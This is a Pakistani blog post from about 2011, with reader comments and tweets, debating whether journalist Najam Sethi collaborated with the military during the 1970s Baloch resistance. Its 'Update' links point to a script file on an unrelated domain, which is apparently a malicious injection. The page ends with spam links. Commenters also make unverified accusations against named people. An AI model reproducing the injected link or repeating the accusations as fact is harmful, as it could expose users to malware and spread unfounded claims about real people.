LUBP must not consciously malign Najam Sethi – Comments by Shaheryar Ali and Mehmal Sarfraz
Editor’s note: LUBP has received some critical comments on Laibaah’s post titled “Najam Sethi’s role in the Baloch resistance movement of 1970s” and also via Twitter which suggest that the assertions in that post about Mr. Sethi’s role in Balochistan are factually incorrect and misleading. To demonstrate our belief in free speech and heterogeneity of views, we are publishing the comments received without any editing so that our readers are aware of both sides of the arguments and assertions.
Update: A response to this post written by Salma Jafar can be read here: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/60855
Shaheryar Ali:
The interview you quoted is actually not giving any hint of collaboration by Mr Sethi. Mr Rehman has said that there were some other people who disclosed the names of the group and as it appears he is saying that Mr Sethi was part of the group and was working under cover for a project sectioned by Mr Bhutto government. Its a very important matter, if Mr Rehman has said something conclusive about this matter please share it as its a very important piece of evidence.
But from these quotes the case against him is not very convincing. At most it could be said he acted carelessly by trying to choose as undercover a project which involved state. But on the same hand it can be argued that it was move to make him least suspicious and in revolutionary setting such tactics are not unseen in history, people of resistance have actually worked even within the invading army. Mr Sethi collaboration with establishment is more convincing in his role with Farooq Leghari and co. But in this situation i am afraid you have not provided us with sufficient evidence to make a judgement.
Mehmal Sarfraz:
A few observations on this misleading post but first I’d like to clarify something. In one of the comments, Mr Thadani states that NS was “an essential part of” the USIP-JI report. This is incorrect. NS was among many people interviewed by Moeed Yusuf. But there isn’t even a single comment in the report attributed to NS. He was never a member of the board of analysts associated with the report. This is clear from the lists of those who were participants in the report and those who were merely interviewed for it.
Regarding the helicopter episode, why not check what the documents of the Hyderabad Tribunal reveal? Why not ask the pilot of the helicopter, a retired Major who is alive and well as a successful businessman/columnist, what his instructions were regarding NS? His name can be revealed and he can be asked. His instructions from the military authorities were “to throw NS overboard from the helicopter and finish him off” but these were changed in mid air and NS was brought to Quetta airport and arrested, tortured, put in solitary confinement for seven months and then charged in the Hyderabad Tribunal along with 54 others, mostly Baloch and Pathan members of parliament, a confinement that lasted nearly two years! Would this have been the fate of someone who was an agent of the military? Would General Zia-ul-Haq have put him in prison in 1984 if he had been “their” man? The great irony is that the ISI and its supporters are painting NS as an anti-army person while Laibaah, etc, are painting him as an ISI man. The truth is known to millions who follow NS on his top ranking TV program and thousands of Facebook and Twitter followers, more than any single media person in Pakistan
But such facts are unimportant to those whose purpose is to consciously malign NS to protect their crooked vested interests in any state institution or political party or religious group.
Update: A response to this post written by Salma Jafar can be read here: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/60855
LUBP has some kind of personal vendetta against some writers particularly against Ejaz Haider and Najam Sethi. For better credibility, LUBP must refrain from attacking and abusing these two and other persons.
LUBP ko Pak Afwaj Aur Idaron Kay Khilaf propganda band karna chahiyay
@Mehmal: Great comment. Can you disclose the name of the chopper’s pilot if you don’t mind? It is also important for credibility as Asad Rehman’s interview is on the record.
Asad Rehman is brother of Rashid Rehman who took over from Najam Sethi as editor of Daily Times. COuld there be personal grudges in his interview about NS?
@Javed Jafri
Same could be said about some, if not all, of those who are defening Mr. Sethi and Mr. Ejaz Haider. Personal friendship and collegiality works as a tribe in many instances.
Shaheryar Ali’s comment above can be read in conjunction with Mr. Thadani’s comment here:
http://criticalppp.com/archives/60154/comment-page-1#comment-163144
Conclusive evidence is almost an impossibility in cases of collusion between military establishment and refined operatives and affiliates. It is the circumstantial evidence which is considered satisfactory in such cases, something which this post does offer. In the light of the subsequent collusion of Najam Sethi with army in undermining BB’s government and his current dubious role as Jang Group’s political advisor, the pattern becomes relatively more clear. Also, refer to the end of Asad Rehman’s interview. That too speaks volumes
You yourself allude to his role with the PPP Judas Farooq Leghari. I think that phase reveals volumes. Do take a look at LUBP’s recent publications on Najam Sethi which I will copy below. They highlight his current role. The pattern/record is most disturbing.
@Yasin,
I totally agree with you. Mehmal and Ejaz Haider have or are working with Sethi and hence its known fact. On the other hand, the motive of Asad Rehman may be different altogether!
In politics it is said that there are no permanent friends nor foes. Same is the case in all spheres of life.
Let me also put it this way: I do not dislike Asad Rehman or Rashid Rehman and I for sure do not dislike Najam Sethi. In my opinion, he is one of those people who’s talk show I am willing to listen to and find his analysis more apt, if not honest. I would for sure listen to him than all the other loose talkers at Geo.
For Mehmal: Your point noted about Mr. Najam Sethi not being “an essential part of the USIP-JI” report. That was my observation and I don’t have conclusive proof for it.
However, my observation was based on my reading and understanding of his weekly editorials. The core elements of the USIP-JI report were the accomodation of the “Afghan” Taliban in a future Afghan set up and I found that reflected in an editorial earlier this year. If that is not the case, I stand corrected.
Given that USIP-JI report was extremely vague, actually completely silent, as to who dissented with its findings/recommendations, one cannot tell how much was really contributed by which individual.
Mehmal evidently sounds ‘holier than thou’ towards someone she is either affiliated with or is inspired by. Am surprised how LUBP allowed to make this comment into a post????????? makes me wonder if I write for LUBP is this what it will do to me also…publish comments and make me controversial?? LUBP should either not publish post if it does it should stand by it. What is LUBP policy by the way?
Mr Jafri, for your information, I’ve never worked with NS in either DT or TFT. I joined Daily Times after NS left and Mr Rashed Rahman became the editor. As for your comment that Asad sb’s interview could be in relation to his brother becoming the editor of DT, you couldn’t be more wrong. Rashed sb has NEVER undermined his Balochistan movement comrades, even in personal discussions.
My problem with such posts is that not only do they malign the people involved in the Balochistan movement of the 70s but it also undermines a movement that was a very sincere and clean effort to spark off a revolutionary movement in Pakistan, starting from Balochistan. Our personal bias should not blind us to undermine the importance of that brave and courageous effort in the standing of our history. Let us not be partisan on these issues due to personality clashes, etc. The people involved in the Balochistan movement did not support General Zia or Mr Bhutto’s hanging. So, let’s not lose sight of our principles for expedient purposes.
Another thing, the army didn’t even know that non-Baloch were involved in the movement till 1975 when people were arrested. So the assertion in the first post is completely wrong about NS, or anyone else for that matter, being ‘planted’ by the army.If someone from LUBP wants to interview Mr Rashed Rahman regarding these assertions/distortions [in the first post], let me know.
how can any Pakistani term a separatist movement as a “great movement” in the first place…what a confused lot!
@Mehmal, I am also distraught that LUBP is publishing anti-Najam Sethi articles. This alone constitutes blasphemy; just like what Zulfiqar Mirza did against Pir Sahib. Don’t these people know that saying such things about a patriot like Najam Sethi is maligning him.
Just like this corrupt president Zardari has been maligning the Pakistan army since 1988!
This Zardari apologist camp should know what a great patriot Mr. Sethi is:
“there is only one institutional force that can establish the writ of the state and restore law and order. That is the Pakistan Army.”
http://www.thefridaytimes.com/beta2/tft/article.php?issue=20110923&page=1 (TFT, Sept. 23rd, 2011 edition).
Please explain to these liberal fascists the value of Mr. Najam Sethi’s statement. From Kashmir to Bangladesh to Swat to Balochistan, it is only th Pakistan army that has shown that they can “establish the writ of the state”. I am so thankful that you have brought up Mr. Sethi’s role in Balochistan and how well the army has established “the writ of the State” There against the wishes of these corrupt politicians.
Shakeel Ahmed Thanks you have proved which camp Sethi is in
@Mehmal,
I posed questions which were not to undermine Najam or the Rehmans. My whole point is that this is a useless discussion!
And for the record: I am not with the FCS and will not be part of them!!!! I am a jiyala by heart and soul.
@Salma, you are also maligning him. Camp is a personal attack and is abusive when applied to a super patriot like Mr. Najam Sethi. It could imply, without definitive proof, that Mr. Sethi is in a camp which means that he is a teen or child or a scout or a camper which he is not as he is Pakistan’s greatest journalist -ever! Or r you saying he is camp which would mean he is more suited for theater, not journalism. In Pakistan, journalism is a very serious business, and no journalist including Najam is theatrical. They back their stories with 100% irrefutable evidence such as when Zardari regime will fall.
yes Shakkel Ahmed I myself heard during one of the many crisis ppp govt has faced Sethi saying “this time it (the govt) will fall” and it didn’t.
I stand by what I said on the camp.
Mr Thadani, NS was not part of that report 🙂 you can check with USIP-JI.
As for all other comments, I have discussed factual inaccuracies in the previous post about the Balochistan movement. If someone can refute it, go ahead. I am not answerable for someone else’s opinions/analysis. I have high regard for NS as a journalist but that’s my personal opinion and this post is about Balochistan movement. So let’s stick to that.
@Mehmal,
When you alluded to my comment, you referred to my observation of Mr. Sethi’s contribution to the USIP-JI report and that Mr. Sethi was not an essential part of it. Fine. To which I responded that one of his editorials published earlier echoed the recommendations of the USIP-JI report.
As per the report itself,
http://www.jinnah-institute.org/images/ji_afghanendgame.pdf
Mr. Sethi was part of the “one-on-one interview” panel.
If he or others connected with that report disagree with its findings/recommendations, they are free to do so. Its just that uptil now, the report hasn’t said who offered a different view on Afghanistan.
I stand corrected if Mr. Sethi disagrees with the findings/perceptions of this report.
How spineless can you become? Just because one of the editors of a declining paper applied pressure, you published this. Yaaron, what happened?
Najam Sethi literally presents what he is been “briefed” on, calls his secret source “Chariya” and is respected for it.
Come on!
His tilt is clearly towards the army. As for that Balochistan post, before you people published, people used to talk about this incident and it always aroused suspicion.
That suspicion would have died down had Mr. Asad Rehman made a clear statement in support of Mr. Sethi but even as a old comrade, he chose not to.
Then you have his track record as a journalist. Always spewing venom on the PPP and wanting the government to fall. For God’s sake, he was even part of the caretaker set up in 1996 after one PPP government was dismissed by a traitor. I am very disappointed with LUBP for giving in to pressure.
aliarqam aliarqam
@Mehmal interestingly, the interviewer is none other than @maliksirajakber was called dishonest by Laibaah in and put him into Najam & CO.
REF: http://pakistanblogzine.wordpress.com/2011/07/28/qasida-e-husain-haqqani-by-malik-siraj-akbar/
Ziyad_F Ziyad Faisal
@aliarqam so if I understand correctly, the Laibaah virus is still not fully dealt-with yet?
REF:
http://pakistanblogzine.wordpress.com/2011/09/25/its-totally-democratic-to-block-laibaah-the-darth-vader-of-the-twitterverse-says-ali-dayan-hasan/
Mehmal Mehmal Sarfraz
@aliarqam yes and then he/she based an entire post on @maliksirajakber’s interview. Heh 🙂
REF:
http://criticalppp.com/archives/60154
aliarqam aliarqam
@Mehmal Ayesha S then visited the site and posted comments calling it very dishonest.
REF:
http://pakistanblogzine.wordpress.com/2011/08/27/on-dr-ayesha-siddiqs-little-war-against-the-new-auditor-general-of-pakistan/
REF:
http://pakistanblogzine.wordpress.com/2011/10/16/isis-aman-ki-asha-a-wolf-in-sheeps-clothing/
aliarqam aliarqam
@Mehmal in a recent post abt ‘Aman Ki Aasha’ she copied Ayesha S tweets abt Jinnah Inst. Giving impression as dey were against Aman Ki Aasha
aliarqam aliarqam
@Mehmal Most of her posts are based on personal anger and quick outbursts and everytime she had to edit her posts later aft objections
REF:
http://pakistanblogzine.wordpress.com/2011/10/22/you-could-have-named-me-dude/
………..
Mehmal Mehmal Sarfraz
@Chiltan I left a comment. LUBP chose to turn it into a post, I didn’t. @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan casting aspersions and posting factually incorrect posts based on the author’s biased opinion is maligning @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan hence I don’t know what that person’s motives are. @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan u know who I/Rashed Rahman/Asad Rahman/Najam Sethi are but I don’t know who Laibaah is since he/she is anonymous @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan why not ask the person who wrote that post to go through the Hyd Tribunal documents and then write a post? @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan and I know all this because I am associated to many ppl involved in that movement @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan so how could they have ‘planted’ anyone in the first place? This to me is akin to undermining a great movement @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan fact is that the military didn’t even know that non-Baloch were involved in the movement and only found out in 75 @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan also, I don’t agree with Laibaah’s assertion that NS or anyone else for that matter was planted by the military @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan I will also fwd that post to Asad sb and would rather he explain it that he wasn’t casting doubts abt anyone @AbdulNishapuri
Mehmal Mehmal Sarfraz
@Chiltan how does it validate anything? As I said, check the documents of the Hyd Tribunal, all a matter of public record @AbdulNishapuri
Mehmal Mehmal Sarfraz
@chiltan incorrect info about NS’s role. Also, such posts undermine a movement that was sincere and a clean effort @AbdulNishapuri
Mehmal Mehmal Sarfraz
@chiltan please check the definition of ‘maligning’ and you’ll know why I wrote what I did. @AbdulNishapuri yes, baseless allegations +
Mehmal Mehmal Sarfraz
@KamranShafi46 that’s why I posted a comment on that post 🙂 I hope LUBP will offer an apology @najamsethi @AbdulNishapuri @MaulaBuksh
Mehmal Mehmal Sarfraz
@KamranShafi46 all assertions in that post about @najamsethi’s role in Balochistan are factually incorrect sir @AbdulNishapuri @MaulaBuksh
Mehmal Mehmal Sarfraz
@AbdulNishapuri posted a comment on this misleading and factually incorrect post @MaulaBuksh
….
Chiltan salma jafar
@Mehmal fair enough Mehmal; so over to you @AbdulNishapuri
Chiltan salma jafar
@Mehmal I think she has stated some facts it’s no maligning so to speak’ you should prove those facts are not facts @AbdulNishapuri
Chiltan salma jafar
@Mehmal Oh no not that same old story of annonymous @AbdulNishapuri
Chiltan salma jafar
@Mehmal u started the controversy so u have to write dear girl @AbdulNishapuri
Chiltan salma jafar
@Mehmal Maligning means ‘evil, harmful and untrue statements’ I still want to know how Laibbah’s post is any one of these .@AbdulNishapuri
Chiltan salma jafar
@Mehmal you also can’t malign ppl by using words such as “crooked vested interests” only coz u disagree.@AbdulNishapuri
Chiltan salma jafar
@Mehmal sure we would like to hear more from you through a well written article to substantiate your argument @AbdulNishapuri
Chiltan salma jafar
@AbdulNishapuri @mehmal I mean anyone can have comments how do unvalidated comments get such attention through a post then?
Chiltan salma jafar
@AbdulNishapuri @mehmal well Laibbah’s post was validated by an interview also bt comments of 2 persons in your post are unvalidated
Chiltan salma jafar
@AbdulNishapuri what is maligning? I would like to know re: your recent post on #NajamSethi@CriticalPPP
Laibaah1 Laibaah
@AbdulNishapuri Free speech is fine. However, converting a comment comprising baseless charges to a post fails my understanding. @Chiltan
Laibaah1 Laibaah
@Chiltan I am disappointed that @AbdulNishapuri chose to convert a comment to a post which is lacking in substance and objectivity.
Laibaah1 Laibaah
@Chiltan I dare those objecting on my post to define maligning and personal attack and then apply consistently on all posts / articles.
Chiltan salma jafar
@CriticalPPP @Laibaah1 honestly would like to know how maligning is defined why don’t they ask Jang group to stop maligning PPP and Zaradari
Chiltan salma jafar
@CriticalPPP but I find him #NajamSethi so boring is this also maligning 🙂
…….
AbdulNishapuri Abdul Nishapuri
@Mehmal Thanks for the feedback. We have published a counter-view now. @KamranShafi46 @najamsethi @MaulaBuksh
AbdulNishapuri Abdul Nishapuri
Dear @Laibaah1 We hold you dear but free speech is dearer to us. We hope you will respect our right to publish dissenting views. @Chiltan
AbdulNishapuri Abdul Nishapuri
@Chiltan Perhaps @mehmal or Shaheryar could explain better. Perhaps by maligning they meant publishing of ‘baseless’ charges against Sethi.
Najam Sethi is against corrupt rulers, those who don’t know how to govern, they only know how to loot.
How can the PPP looters and their LUBP toadies support Najam Sethi?
Laibah is a Qadiani agent provocateur.
The original post by Laiba did not make much of an impression on me. Asad Rehman sahib made some ambiguous statements which could mean that either Sethi sahib made a mistake and became ISI or that he just got a pick and drop in a military helicoptor. It was suspicious but nothing more. However, after seeing how defensive Ms. Mehmal became, I did some more reading, including re-reading the interview article. When I read what Mr. Sethi wrote against an elected government in 1996, I was alarmed to say the least. I am not a PPP supportor (I will vote PTI in the next elections) but top ranking journalists like Mr. Sethi have to be objective and it is disturbing to see his support for the army.
Having been alerted by Ms. Mehmal’s very defensive reaction to Laiba article, I was told that she, an editor of a newspaper demanded an apology from this blog(?).
How can someone like Najam Sethi who has such a soft corner for the army be a supportor of the Baloch struggle at the same time? Who can forget the cozy interviews that Mr. Sethi did of General Pervaiz Musharaf; the same general who restarted the military operations in Balochistan. This is like trusting someone to support the rights of Ahmedis when that someone also has a soft corner for banned militant groups like LEJ!
Ms. Mehmal’s comment has had opposite effect, I am afraid.
LUBP, I liked your post one PML N putting restrictions on PTI rallies: http://criticalppp.com/archives/60240 . Go easy on the Kaptaan. He is not pro-Taliban.
What is the name of the major who was the pilot.? Pls disclose it so that we can put an end to this. Vague comments only provide more fuel to theories.
Was it Major Ejaz Haider who was the pilot of the fateful chopper?
Did anyone notice this tweet last night by
@Iam the Drifter Ayesha Siddiqa:- “@BalaachMarri @FreeTheBaloch heard there is a consensus at the top that order will be imposed so the dead bodies will be more not less”
Now my question is is this a responsible and honest tweet based on heresay; and that too on such a sensitive issue. I don’t mean to cause offence to any one but am giving this example to really ask who decides who is honest and who is not and the degree of it too and who is 100% correct all the time…as to err is human BUT this moralistic attitude trying to prove others wrong and dishonest instead of disagreeing with them through reasoning is quite sickening actually; and it is particularly towards those persons who are damned i.e. “ANNONYMOUS”
MaulaBuksh Maula Bux Thadani
@Chiltan @CriticalPPP @Laibaah1 Salma, draconian standards only apply to LUBP but even basic standards don’t apply not to others.
Chiltan salma jafar
@MaulaBuksh I consider these as psuedo-liberal-talibans who give fatwas on ppls moralities @CriticalPPP @Laibaah1
Mehmal Mehmal Sarfraz
@KamranShafi46 that’s why I posted a comment on that post I hope LUBP will offer an apology @najamsethi @AbdulNishapuri @MaulaBuksh
beenasarwar beena sarwar
@Mehmal And did they? Re LUBP factually incorrect post on @najamsethi… ? @KamranShafi46 @AbdulNishapuri @MaulaBuksh
Mehmal Mehmal Sarfraz
@beenasarwar yes, they posted a counter-post based on a couple of comments @najamsethi @KamranShafi46 @AbdulNishapuri @MaulaBuksh
——-
Comment: Apparently one can be selective in who to criticize and who to defend:
REF:
https://pakistanblogzine.wordpress.com/2011/08/04/lets-justify-the-hazara-genocide-on-ejazhaiders-lies-and-marvisirmeds-go-to-hell/
And also in terms of who to abuse and who to support:
REF:
http://criticalppp.com/archives/58576
Regarding the Balochistan situation, Sethi, who fought in the Baloch resistance movement in the 70s and was imprisoned for four years, said that there were deep-rooted Baloch grievances because they had been mistreated by successive regimes.
However, the resistance has assumed a secessionist tendency, and no state in the world would allow secession, which is why there is repression in Balochistan, he added.
He said that everywhere, separatist movements express willingness to accept aid from anywhere. Thus, the Balochistan situation may be tit-for-tat, he said referring to India’s role in it and Pakistan’s role in Kashmir.
http://www.thenews.com.pk/Todays-News-4-160577-They-can-try-but-polls-wont-be-delayed-Sethi
I actually looked at stumpleaudio and found some new decent groups, nevertheless I will keep with Grooveshark right now. Personally In my opinion it can superior to one of the additional on the list.
LUBP must not consciously malign Najam Sethi
agsmdxwzey
[url=http://www.g090094fw5002uh8ku1cbe1fl9snr4c8s.org/]ugsmdxwzey[/url]
gsmdxwzey http://www.g090094fw5002uh8ku1cbe1fl9snr4c8s.org/